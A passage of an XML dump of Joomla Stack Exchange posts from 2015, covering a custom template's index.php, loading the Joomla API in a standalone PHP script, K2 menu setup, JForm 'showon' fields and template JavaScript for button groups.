alt=&quot;comparison&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's work in progress, here's the current index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;$app = JFactory::getApplication();&#xA;$doc = JFactory::getDocument();&#xA;$sitename = $app-&amp;gt;getCfg('sitename');&#xA;// Detecting Active Variables (Leave this whole section alone)&#xA;$itemid   = $app-&amp;gt;input-&amp;gt;getCmd('Itemid', '');&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot; lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot; dir=&quot;&amp;lt;?php echo $this-&amp;gt;direction; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot; /&amp;gt;&#xA;    &amp;lt;link href='http://fonts.googleapis.com/css?family=Play:700' rel='stylesheet' type='text/css'&amp;gt;&#xA;    &amp;lt;link href='http://fonts.googleapis.com/css?family=Open+Sans+Condensed:700' rel='stylesheet' type='text/css'&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;  &amp;lt;?php // Template color ?&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('templateColor')) : ?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        body.site&#xA;        {&#xA;            border-top: 3px solid &amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('templateColor'); ?&amp;gt;;&#xA;            background-color: &amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('templateBackgroundColor'); ?&amp;gt;&#xA;        }&#xA;        a&#xA;        {&#xA;            color: &amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('templateColor'); ?&amp;gt;;&#xA;        }&#xA;        .navbar-inner, .nav-list &amp;gt; .active &amp;gt; a, .nav-list &amp;gt; .active &amp;gt; a:hover, .dropdown-menu li &amp;gt; a:hover, .dropdown-menu .active &amp;gt; a, .dropdown-menu .active &amp;gt; a:hover, .nav-pills &amp;gt; .active &amp;gt; a, .nav-pills &amp;gt; .active &amp;gt; a:hover,&#xA;        .btn-primary&#xA;        {&#xA;            background: &amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('templateColor'); ?&amp;gt;;&#xA;        }&#xA;        .navbar-inner&#xA;        {&#xA;            -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, .25), inset 0 -1px 0 rgba(0, 0, 0, .1), inset 0 30px 10px rgba(0, 0, 0, .2);&#xA;            -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, .25), inset 0 -1px 0 rgba(0, 0, 0, .1), inset 0 30px 10px rgba(0, 0, 0, .2);&#xA;            box-shadow: 0 1px 3px rgba(0, 0, 0, .25), inset 0 -1px 0 rgba(0, 0, 0, .1), inset 0 30px 10px rgba(0, 0, 0, .2);&#xA;        }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php&#xA;// Add JavaScript Frameworks&#xA;JHtml::_('bootstrap.framework');&#xA;// Add Stylesheets&#xA;JHtmlBootstrap::loadCss();&#xA;&#xA;// Load optional rtl Bootstrap css and Bootstrap bugfixes&#xA;JHtmlBootstrap::loadCss($includeMaincss = false, $this-&amp;gt;direction);&#xA;// Adjusting content width&#xA;if ($this-&amp;gt;countModules('position-7') &amp;amp;&amp;amp; $this-&amp;gt;countModules('position-8'))&#xA;{&#xA;    $span = &quot;span6&quot;;&#xA;}&#xA;elseif ($this-&amp;gt;countModules('position-7') &amp;amp;&amp;amp; !$this-&amp;gt;countModules('position-8'))&#xA;{&#xA;    $span = &quot;span9&quot;;&#xA;}&#xA;elseif (!$this-&amp;gt;countModules('position-7') &amp;amp;&amp;amp; $this-&amp;gt;countModules('position-8'))&#xA;{&#xA;    $span = &quot;span9&quot;;&#xA;}&#xA;else&#xA;{&#xA;    $span = &quot;span12&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;link href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/template.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt;&#xA;&amp;lt;script src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/media/jui/js/html5.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if lte IE 7]&amp;gt;&#xA;&amp;lt;link href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/template_IEold.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if IE 8]&amp;gt;&#xA;&amp;lt;link href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/template_IE8.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if IE 9]&amp;gt;&#xA;&amp;lt;link href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/template_IE9.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;script src=&quot;templates/shenplate/js/mainshen.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;&amp;lt;?php echo ($itemid ? 'itemid-' . $itemid : ''); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- Begin Header--&amp;gt;&#xA;    &amp;lt;div id=&quot;site_head&quot; class=&quot;row-fluid&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;WebyLogo&quot; class=&quot;span3 pagination-centered hidden-phone&quot;&amp;gt;&#xA;                  &amp;lt;span class=&quot;visible-tablet&quot;&amp;gt;&amp;lt;img src=&quot;templates/shenplate/images/navbar/JTCBWatermark.png&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                  &amp;lt;span class=&quot;visible-desktop&quot;&amp;gt;&amp;lt;img src=&quot;templates/shenplate/images/navbar/JTCBWatermark.png&quot;&amp;gt; Graphics&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;span8&quot; style=&quot;margin-left: 0px;&quot;&amp;gt;&#xA;          &amp;lt;?php if ($this-&amp;gt;countModules('position-9')): ?&amp;gt;&#xA;     &amp;lt;div id=&quot;main_top_bar&quot; class=&quot;navbar&quot; role=&quot;navigation&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;navbar-inner&quot; style=&quot;border-top-left-radius: 2px; border-top-right-radius: 10px; border-bottom-left-radius: 10px; border-bottom-right-radius: 2px;&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-9&quot; style=&quot;none&quot; /&amp;gt;&#xA;       &amp;lt;a class=&quot;btn btn-navbar&quot; data-toggle=&quot;collapse&quot; data-target=&quot;.nav-collapse&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;buttola&quot; class=&quot;images-container&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;/joomla/templates/shenplate/images/navbar/JTCBMenuBtn1.png&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;/joomla/templates/shenplate/images/navbar/JTCBMenuBtn2.png&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;      &amp;lt;!-- &amp;lt;a class=&quot;brand&quot; href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;  --&amp;gt;&#xA;      &amp;lt;div class=&quot;nav-collapse collapse&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;nav pull-right&quot;&amp;gt;&#xA;         &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;HOME&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#about&quot;&amp;gt;NEWSFEED&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li class=&quot;dropdown&quot;&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot; class=&quot;dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;&amp;gt;PROJECTS &amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&#xA;          &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;3D MODELS&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;ANIMATIONS&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;GRAPHICS&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;IMAGE EDITING&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;VIDEO EDITING&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;SHOWREELS&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;THEMES&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;AUTOIT&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;MUSIC&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;/ul&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;         &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;SHOP&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li class=&quot;dropdown&quot;&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot; class=&quot;dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;&amp;gt;INFO &amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&#xA;          &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;           &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;CONTACT&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;/ul&amp;gt;      &#xA;         &amp;lt;/li&amp;gt;&#xA;         &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#contact&quot;&amp;gt;LINKS&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&amp;lt;!-- nav-collapse --&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- navbar inner --&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- navbar --&amp;gt;&#xA;          &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- container --&amp;gt;&#xA;    &amp;lt;div class=&quot;span1 hidden-phone&quot; style=&quot;margin-left: 0px;&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- main header container --&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt; &#xA;&#xA;        &amp;lt;!-- Begin Container content--&amp;gt;&#xA;    &amp;lt;div id=main_cont class=&quot;container-fluid&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- Main hero unit for a primary marketing message or call to action --&amp;gt;&#xA;        &amp;lt;div class=&quot;hero-unit&quot;&amp;gt;&#xA;            &amp;lt;h1&amp;gt;Heading&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;This is a template for a simple marketing or informational website. It includes a large callout called the hero unit and three supporting pieces of content. Use it as a starting point to create something more unique.&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a class=&quot;btn btn-primary btn-large&quot;&amp;gt;Learn more »&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- hero-unit --&amp;gt;&#xA;&#xA;        &amp;lt;!-- Example row of columns --&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&#xA;            &amp;lt;!--&amp;lt;div class=&quot;sidebar span3&quot;&amp;gt;&amp;lt;/div&amp;gt;--&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;Heading&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p&amp;gt;&#xA;Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui.&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;a class=&quot;btn&quot; href=&quot;#&quot;&amp;gt;View details »&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- span4 --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;Heading&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p&amp;gt;&#xA;Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui.&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;a class=&quot;btn&quot; href=&quot;#&quot;&amp;gt;View details »&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- span4 --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;Heading&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p&amp;gt;&#xA;Donec sed odio dui. Cras justo odio, dapibus ac facilisis in, egestas eget quam. Vestibulum id ligula porta felis euismod semper. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus.&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;a class=&quot;btn&quot; href=&quot;#&quot;&amp;gt;View details »&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- span4 --&amp;gt;&#xA;&#xA;        &amp;lt;!--&amp;lt;div class=&quot;sidebar span3&quot;&amp;gt;&amp;lt;/div&amp;gt;--&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- row --&amp;gt;&#xA;&#xA;        &amp;lt;hr&amp;gt;&#xA;&#xA;        &amp;lt;footer&amp;gt;&amp;lt;p&amp;gt;© Company 2012&amp;lt;/p&amp;gt;&amp;lt;/footer&amp;gt;&#xA;        &amp;lt;!--End Footer--&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- container --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php if ($this-&amp;gt;countModules('messageIE')): ?&amp;gt;&#xA;    &amp;lt;!--[if lte IE 7]&amp;gt;&#xA;    &amp;lt;div class=&quot;message-ie&quot;&amp;gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;messageIE&quot; style=&quot;none&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;debug&quot; style=&quot;none&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt; &#xA;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="5645" LastEditDate="2015-07-28T13:44:17.363" LastActivityDate="2015-07-29T04:25:05.677" Title="Making custom template for Joomla - module edit form buttons lack skin/style?" Tags="|component|module|templates|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10961" PostTypeId="1" AcceptedAnswerId="10962" CreationDate="2015-07-28T10:48:54.350" Score="1" ViewCount="2634" Body="&lt;p&gt;I am new to Joomla and I am making a testing website to learn more.For the site I have created, I wish to create custom php scripts, that are to be called mainly from javascript elements inside the browser pages and return specific results according to user information.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for starters, I created a php script inside the Joomla site parent directory, and random prints worked. Then, I tried to make use of some of Joomla libraries' elements.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite my final aim,since I ran into problems, I tried to make something simple work, such as printing the site name:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $config = JFactory::getConfig();&#xA;echo 'Site name is ' . $config-&amp;gt;get( 'sitename' ); ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the error I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class 'JFactory' not found in /home/ubuntu/workspace/JP-27/testphp.php on line 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generally, whenever I try to use any element of Joomla libraries, the elements are not found. Any advice?&lt;/p&gt;&#xA;" OwnerUserId="5646" LastActivityDate="2015-07-28T10:54:22.663" Title="Run custom php script in Joomla site" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10962" PostTypeId="2" ParentId="10961" CreationDate="2015-07-28T10:54:22.663" Score="3" Body="&lt;p&gt;Custom scripts that aren't associated with a Joomla extension or the core require you to import the Joomla API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by adding the following to the top of your custom PHP file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', '../');&#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$app = JFactory::getApplication('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note you may have to change &lt;code&gt;define('JPATH_BASE', '../');&lt;/code&gt; on the second line, depending on where your custom PHP is located in relation to the root of your Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once imported correctly, your won't get the error you mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-28T10:54:22.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10963" PostTypeId="2" ParentId="9656" CreationDate="2015-07-28T11:43:37.420" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;make a k2-Menu-Item of Type &quot;Categories&quot; without adding a Category. Call alias i.e. &quot;detail&quot;.&lt;/li&gt;&#xA;&lt;li&gt;append Menu-Item to an hidden Menu (means: not used in an Module)&lt;/li&gt;&#xA;&lt;li&gt;set k2-Options &quot;Advanced &gt; Advanced SEF Settings&quot; Author-Prefix like &quot;profil&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this will catch orphan Categories, Authors, Tags in an url like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Author: yourHomepage/detail/profil/222-authorname&#xA;Categorie: yourHomepage/detail/your-category-prefix/id-nr-of-category/alias&#xA;Tag: yourHomepage/detail/your-tag-prefix/tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="5630" LastActivityDate="2015-07-28T11:43:37.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10964" PostTypeId="2" ParentId="10953" CreationDate="2015-07-28T13:30:10.490" Score="1" Body="&lt;p&gt;If you're talking about files and not images, use something like Docman. It locks it's own folders and hides the path. Only registered users can get access and no outside person can see into those folders. It also has an editor button to help you easily attach files to articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomlatools.com/extensions/docman/&quot; rel=&quot;nofollow&quot;&gt;Docman&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-07-28T13:30:10.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10965" PostTypeId="2" ParentId="10906" CreationDate="2015-07-28T13:40:35.720" Score="3" Body="&lt;p&gt;If you're looking to use the best of Joomla and the best of Moodle, then Joomdle is your answer. It takes some setup, so it's not for the faint of heart, but I've built 2 sites like this and helped someone build a 3rd, and it's been great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I hid Moodle entirely so it was ONLY visible in the joomla container, and if you like nice things, you'll use something like Jomsocial or EasySocial which lets you ignore the Moodle user profiles and uses their (much fancier) profiles instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need the full features of Moodle, then one of the native LMS options would also work. There's a new one on the block now, though it's not in final release. It's called Shika. It has a nice drag and drop editor, but it's not anywhere close to Moodle's complete feature set. It's also fairly expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomdle.com&quot; rel=&quot;nofollow&quot;&gt;Joomdle Site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://techjoomla.com/products/shika.html&quot; rel=&quot;nofollow&quot;&gt;Shika page on TechJoomla.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-07-28T13:40:35.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10966" PostTypeId="1" CreationDate="2015-07-28T16:50:53.653" Score="0" ViewCount="411" Body="&lt;p&gt;I would like to extend the functionality of my form I'm using in my admin-backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To to that I would like to use the showon-attribute, which should only show a field, if the value of this field is -1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field  name=&quot;itemid&quot; &#xA;        type=&quot;sql&quot;  &#xA;        label=&quot;COM_BESTIA_FIELD_ITEMS&quot; &#xA;        query=&quot;SELECT id, title FROM #__bestia_items WHERE state = 1&quot; &#xA;        key_field=&quot;id&quot; &#xA;        value_field=&quot;title&quot; &#xA;        required=&quot;true&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;-1&quot;&amp;gt;Other&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do this: &lt;code&gt;showon itemid:-1&lt;/code&gt; does not work.&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-07-29T06:32:48.603" Title="Joomla JForm showon" Tags="|php|joomla-3.4|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10967" PostTypeId="1" CreationDate="2015-07-28T18:20:50.793" Score="0" ViewCount="481" Body="&lt;p&gt;I have a menu with different template assigned.&lt;br&gt;&#xA;I want to disable the plugin &lt;strong&gt;Tabs &amp;amp; Sliders&lt;/strong&gt; (by JoomlaWorks) in this menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I disable this plugin via template ?&lt;/p&gt;&#xA;" OwnerUserId="5647" LastEditorUserId="126" LastEditDate="2015-08-26T21:54:59.530" LastActivityDate="2015-12-28T13:28:34.113" Title="Is it possible to disable a plugin/module via template in Joomla 3?" Tags="|joomla-3.x|module|plugin|templates|module-display|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10968" PostTypeId="2" ParentId="10960" CreationDate="2015-07-29T04:25:05.677" Score="2" Body="&lt;p&gt;Ok, I have figured it out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer was so simple. Since I am new in this stuff and I was following a tutorial then built on the knowledge I've gotten from it. I have missed the part that the tutorial didn't really go into details about JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence my .js file was practically empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I put the protostar .js code, just to check it out into my main template .js. Suddenly the buttons started to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is obv a very newbie issue and I'm glad I have figured it out.&#xA;So yeah basically I needed to define the buttons myself in JavaScript to make things work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this code, straight from protostar. Ofc it should be refined but it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($)&#xA;{&#xA;    $(document).ready(function()&#xA;    {&#xA;        $('*[rel=tooltip]').tooltip()&#xA;&#xA;        // Turn radios into btn-group&#xA;        $('.radio.btn-group label').addClass('btn');&#xA;        $(&quot;.btn-group label:not(.active)&quot;).click(function()&#xA;        {&#xA;            var label = $(this);&#xA;            var input = $('#' + label.attr('for'));&#xA;&#xA;            if (!input.prop('checked')) {&#xA;                label.closest('.btn-group').find(&quot;label&quot;).removeClass('active btn-success btn-danger btn-primary');&#xA;                if (input.val() == '') {&#xA;                    label.addClass('active btn-primary');&#xA;                } else if (input.val() == 0) {&#xA;                    label.addClass('active btn-danger');&#xA;                } else {&#xA;                    label.addClass('active btn-success');&#xA;                }&#xA;                input.prop('checked', true);&#xA;            }&#xA;        });&#xA;        $(&quot;.btn-group input[checked=checked]&quot;).each(function()&#xA;        {&#xA;            if ($(this).val() == '') {&#xA;                $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-primary');&#xA;            } else if ($(this).val() == 0) {&#xA;                $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-danger');&#xA;            } else {&#xA;                $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-success');&#xA;            }&#xA;        });&#xA;    })&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks go to fruppel for pointing out that this is JavaScript related problem which have helped me to know what to check.&lt;/p&gt;&#xA;" OwnerUserId="5645" LastActivityDate="2015-07-29T04:25:05.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10969" PostTypeId="2" ParentId="10966" CreationDate="2015-07-29T06:32:48.603" Score="2" Body="&lt;p&gt;You can show/hide your field with &lt;code&gt;showon&lt;/code&gt; when the value of related field matches your defined values for &lt;code&gt;showon&lt;/code&gt;. So there should be two fields minimum:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Field with values to match.&lt;/li&gt;&#xA;&lt;li&gt;Field to show/hide.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field  name=&quot;itemid&quot; &#xA;        type=&quot;sql&quot;  &#xA;        label=&quot;COM_BESTIA_FIELD_ITEMS&quot; &#xA;        query=&quot;SELECT id, title FROM #__bestia_items WHERE state = 1&quot; &#xA;        key_field=&quot;id&quot; &#xA;        value_field=&quot;title&quot; &#xA;        required=&quot;true&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;-1&quot;&amp;gt;Other&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field  name=&quot;custom&quot; &#xA;        type=&quot;sql&quot;  &#xA;        label=&quot;COM_BESTIA_FIELD_ITEMS&quot; &#xA;        query=&quot;SELECT id, title FROM #__bestia_items WHERE state = 1&quot; &#xA;        key_field=&quot;id&quot; &#xA;        value_field=&quot;title&quot; &#xA;        required=&quot;true&quot;&#xA;        